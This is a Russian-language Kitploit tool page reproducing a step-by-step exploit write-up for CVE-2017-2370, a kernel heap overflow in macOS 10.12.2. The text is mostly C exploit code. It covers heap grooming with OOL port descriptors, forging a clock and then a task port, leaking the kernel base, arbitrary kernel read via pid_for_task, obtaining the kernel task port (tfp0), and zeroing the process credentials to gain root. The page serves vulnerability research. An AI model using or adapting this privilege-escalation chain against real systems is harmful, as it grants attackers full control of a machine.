Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-2370 — на Mac 10.12.2 | Kitploit
Инструменты/GitHubGitHub/peterpan0927/cve-2017-2370
Повышение привилегийБезопасность iOSКриминалистика памятиЭксплуатацияСбор информацииЭксплуатация Бинарных Файлов
GitHubpeterpan0927/cve-2017-2370

CVE-2017-2370

на Mac 10.12.2

Репозиторий
2038 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

0x00. Введение

На этот раз для повышения привилегий используется уязвимость в mach_voucher_extract_attr_recipe_trap, а основной метод эксплуатации — через сообщения MACH_MSG_OOL_PORTS_DESCRIPTOR.

Если кратко о mach_msg ool: при отправке msg, содержащего ool descriptor, ядро копирует указанные данные из пользовательского пространства в пространство ядра, и ядро хранит эти данные до тех пор, пока целевая задача не обработает сообщение. Аналогично, когда целевой процесс получает сообщение с ool descriptor, ядро копирует данные из пространства ядра в пользовательское пространство (не обязательно реальное копирование). Поэтому эту технику можно использовать для записи данных в кучу ядра или чтения данных из ядра.

Поскольку эксплуатация этой уязвимости значительно сложнее, чем Trident, я буду разбирать её шаг за шагом: от точки возникновения уязвимости до поэтапной эксплуатации. Код можно найти в моём github.

0x01. Точка возникновения уязвимости

Среди новых функций, добавленных в iOS 10 и macOS 10.12, есть функция под названием mach_voucher_extract_attr_recipe_trap, которая является Mach trap, вызываемым из песочницы. Исходный код этой функции:

root@kitploit:~
kern_return_t
  mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
  {
    ipc_voucher_t voucher = IV_NULL;
    kern_return_t kr = KERN_SUCCESS;
    mach_msg_type_number_t sz = 0;
	// Копируем адрес recipe_size в sz, теперь sz содержит значение kalloc_size
    if (copyin(args->recipe_size, (void *)&sz, sizeof(sz)))     <---------- (a)
      return KERN_MEMORY_ERROR;

    if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
      return MIG_ARRAY_TOO_LARGE;

    voucher = convert_port_name_to_voucher(args->voucher_name);
    if (voucher == IV_NULL)
      return MACH_SEND_INVALID_DEST;

    mach_msg_type_number_t __assert_only max_sz = sz;

    if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
      /* сохраняем небольшие рецепты на стеке для скорости */
      uint8_t krecipe[sz];
      if (copyin(args->recipe, (void *)krecipe, sz)) {
        kr = KERN_MEMORY_ERROR;
        goto done;
      }
      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
    } else {
      uint8_t *krecipe = kalloc((vm_size_t)sz);                 <---------- (b)
      if (!krecipe) {
        kr = KERN_RESOURCE_SHORTAGE;
        goto done;
      }

      if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {         <----------- (c)
        kfree(krecipe, (vm_size_t)sz);
        kr = KERN_MEMORY_ERROR;
        goto done;
      }

      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
      kfree(krecipe, (vm_size_t)sz);
    }

    kr = copyout(&sz, args->recipe_size, sizeof(sz));

  done:
    ipc_voucher_release(voucher);
    return kr;
  }
  1. Анализ показывает, что в точке (a) 4-байтовый указатель пользовательского пространства args->recipe_size записывается в sz.
  2. В точке (b), если размер sz находится между MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120) и MACH_VOUCHER_TRAP_STACK_LIMIT (256), то в соответствии со значением sz выделяется буфер в куче ядра.
  3. В точке (c) память из пользовательского пространства копируется в только что выделенную область, но размер копирования передаётся не sz, использованный для выделения кучи, а указатель из пользовательского пространства. Таким образом возникает переполнение кучи, которое мы используем для атаки. Кроме того, функция copyin имеет особенность: при встрече с unmapped страницей она прекращает копирование. Эта особенность будет использована в нашем poc:

copyin

0x01. Этапы эксплуатации

  1. Прежде всего необходимо сделать кучу управляемой. Здесь мы используем технику Heap Feng Shui, так как после рандомизации freelist мы не знаем положение заново выделенных блоков памяти.

Сначала нужно разобраться, как ядро обрабатывает MACH_MSG_OOL_PORTS_DESCRIPTOR в mach msg. Когда ядро получает сложное сообщение и обнаруживает ports descriptor, оно передаёт его функции ipc_kmsg_copyin_ool_ports_descriptor (вызываемой из ipc_kmsg_copyin), которая читает все объекты port. Эта функция вызывает kalloc для выделения необходимой памяти (в 64-битной системе выделяемый размер в 2 раза больше входного, длина name — 4 байта), затем преобразует валидные port из name в реальный адрес объекта ipc_port и сохраняет их. Для name, равного MACH_PORT_NULL или MACH_PORT_DEAD, они остаются без изменений.

root@kitploit:~
/* calculate length of data in bytes, rounding up */
if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) { 
	*mr = MACH_SEND_TOO_LARGE; 
	return NULL; 
} 

if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) { 
    *mr = MACH_SEND_TOO_LARGE;
	return NULL; 
} 

if(ports_length == 0){
    return user_desc;
}

data = kalloc(ports_length); // Выделение пространства 
... 
objects = (ipc_object_t *) data; 

dsc->address = data; 

for ( i = 0; i < count; i++) { 
    mach_port_name_t name = names[i]; 
    ipc_object_t object;
    if (!MACH_PORT_VALID(name)) {
        objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);// IPC_PORT_DEAD continue; 
    } 
...
}

Поэтому при атаке мы будем отправлять большое количество MACH_PORT_DEAD, заполняя область памяти значением 0xFFFFFFFFFFFFFFFF (MACH_PORT_DEAD), затем инициируем уязвимость, изменяя один из IPC_PORT_DEAD на заранее подготовленную нами область памяти. Если эта область является валидной структурой ipc port, то после приёма сообщения OOL PORTS мы сможем в пользовательском пространстве получить port name, соответствующий этому ipc_port, и продолжить атаку.

Heap Feng Shui

  1. Конструирование объекта ipc_object

Сначала мы получили этот fake port. Для дальнейшей утечки информации необходимо знать, по каким параметрам ядро обрабатывает его по-разному. Рассмотрим структуру ipc_port:

root@kitploit:~
struct ipc_port {
	// Указатель на ipc_object находится в первых восьми байтах, это объект нашей атаки переполнением
	struct ipc_object ip_object; // тип объекта port struct ipc_mqueue,ip_messages;
	struct ipc_mqueue ip_messages; // очередь сообщений
	union {
               struct ipc_space *receiver;
               struct ipc_port *destination;
               ipc_port_timestamp_t timestamp;
    }data;
	union {
    	ipc_importance_task_t imp_task;
    	ipc_kobject_t kobject; // объект ядра, соответствующий port
    	uintptr_t alias;
	}kdata;
	...
} __attribute__((__packed__));

Один из них — объект ядра, соответствующий порту. Тип объекта ядра, которому соответствует ipc_port, определяется свойствами ipc_object. Таким образом, мы фактически конструируем ipc_object.

root@kitploit:~
fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; // устанавливаем как объект IKOT_CLOCK и активируем
fakeport->io_lock_data[12] = 0x11;	// устанавливаем блокировку порта активной, чтобы избежать deadlock

Ядро будет воспринимать этот ipc_port как порт для связи с объектом IKOT_CLOCK. Следующая цель — утечка базового адреса ядра.

Подделываем этот ipc_port как объект IKOT_CLOCK, затем устанавливаем указатель kdata.kobject на адрес в ядре. Каждый раз после изменения этого адреса вызываем в пользовательском пространстве clock_sleep_trap, ядро вызывает port_name_to_clock, получает этот адрес и передаёт его как параметр clock в clock_sleep_internal. Исходный код:

root@kitploit:~
static kern_return_t clock_sleep_internal( clock_t clock, sleep_type_t sleep_type, mach_timespec_t *sleep_time)
{
    if (clock == CLOCK_NULL)
      return (KERN_INVALID_ARGUMENT);
    if (clock != &clock_list[SYSTEM_CLOCK])
      return (KERN_FAILURE);
...
}

Из кода видно, что если адрес clock не равен адресу clock_list[SYSTEM_CLOCK], возвращается KERN_FAILURE, иначе — другой код. Используя возвращаемые параметры, мы можем выполнять перебор (постоянно изменяя значение kobject), пока не получим KERN_FAILURE. Таким образом мы получаем адрес clock_list[SYSTEM_CLOCK] в ядре. Этот адрес находится не в куче, а является глобальной переменной ядра с определённым смещением. Затем, начиная с этого адреса, читаем заголовок каждой страницы вперёд, пока не найдём MH_MAGIC_64, то есть 0xfeedfacf.

root@kitploit:~
extern struct clock_ops sysclk_ops, calend_ops;

struct clock clock_list[] = {
    {&sysclk_ops, 0, 0},
    {&calend_ops, 0, 0}
};
  1. Чтение произвольного адреса ядра

Получив этот адрес, необходимо преобразовать наш объект в тип task и найти базовый адрес ядра, чтобы вычислить kslide и затем выполнить tfp0.

root@kitploit:~
// Меняем тип fake port на task, так как нужно использовать интерфейс pid_for_task для произвольного чтения
fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
fakeport->io_references = 0xff;
char* faketask = ((char*)fakeport) + 0x1000;
    
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*) (faketask + 0x10) = 0xee;

Получаем адрес kobject, переходим к началу страницы. В Poc'ах Yalu102 и Zheng min последовательность этих операций различается, но это не влияет, так как адрес faketask также находится на этой странице. После операции AND мы получаем начальный адрес страницы.

root@kitploit:~
uint64_t leaked_ptr =  *(uint64_t*)(((uint64_t)fakeport) + 0x68);
leaked_ptr &= ~0x3FFF;

Затем пишем бесконечный цикл для поиска MH_MAGIC_64 и переходим к фазе tfp0:

root@kitploit:~
while (1) {
        int leaked = 0;
    	*(uint64_t *)(faketask + 0x380) = leaked_ptr -0x10;
        pid_for_task(foundport, &leaked);
        if (leaked == MH_MAGIC_64) {
            printf("found kernel text at 0x%llx\n", leaked_ptr);
            break;
        }
    	// предыдущая страница
        leaked_ptr -= 0x4000;
    }

Почему удаётся достичь произвольного чтения? Потому что функция pid_for_task не проверяет значение переданного аргумента, а просто преобразует его в адрес и выполняет некоторые арифметические операции:

root@kitploit:~
kern_return_t pid_for_task(struct pid_for_task_args *args){
	mach_port_t t = args->t;
    ...
    t1 = port_name_to_task(t);
    p = get_bsdtask_info(t1);
    if(p){
        pid = proc_id(p);
        err = KERN_SUCCESS;
    }
    ...
    (void) copyout((char *)&pid, pid_addr, sizeof(int));
    AUDIT_MACH_SYSCALL_EXIT(err);
    return err;
}

//pid_for_task_args
struct pid_for_task_args{
    PAD_ARG(mach_port_name_t t);
    PAD_ARG(user_addr_r pid);
};

pid_for_task

  1. tfp0

Весь процесс: находим цепочку процессов ядра, проходим по ней, чтобы найти адрес своего процесса и адрес pid0. Затем, используя процесс ядра, получаем адрес kernel task. Из kernel task получаем itk_sself (port kernel task). Далее перезаписываем информацию поддельного ipc port данными kernel task, устанавливаем fake port на поддельный kernel task, а bootstrap port kernel task устанавливаем на реальный порт kernel task. После этого через интерфейс task_get_special_port получаем порт kernel task и реализуем произвольное чтение/запись, меняя права нашего proc на .

root@kitploit:~
uint64_t kern_task = 0;
kr32(kernproc+0x18, (int32_t*)&kern_task);
kr32(kernproc+0x18+4 , (int32_t*)(((uint64_t)(&kern_task)) + 4));
    
uint64_t itk_kern_sself = 0;
kr32(kern_task+0xe8, (int32_t*)&itk_kern_sself);
kr32(kern_task+0xe8+4 , (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
    
char *faketaskport = malloc(0x1000);
char *ktaskdump = malloc(0x1000);
    
for (int i = 0; i < 0x1000/4; i++) {
    kr32(itk_kern_sself+i*4, (int32_t*)(&faketaskport[i*4]));
}

for (int i = 0; i < 0x1000/4; i++) {
    kr32(kern_task+i*4, (int32_t*)(&ktaskdump[i*4]));
}
 
//dump kernel task port
memcpy(fakeport, faketaskport, 0x1000);
memcpy(faketask, ktaskdump, 0x1000);


*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;

*(uint64_t*)(((uint64_t)faketask) + 0x2b8) = itk_kern_sself;

//get kernel task
task_get_special_port(foundport, 4, &tfp0);
printf("tfp0 = 0x%x\n", tfp0);

fakeport->io_bits = 0;

uint64_t slide;
slide = kernel_base - 0xFFFFFF8000200000;

printf("kernel_base=0x%llx slide=0x%llx header=0x%llx\n",kernel_base, slide,ReadAnywhere64(kernel_base));

//get root
uint64_t cred = ReadAnywhere64(myproc+0xe8);
WriteAnywhere64(cred+0x18,0);

pwn

0x02. Ссылки

  • ool msg
  • project zero
  • zheng min
  • Yalu102
  • И спасибо за помощь shrek_wzw
Скачать инструмент
root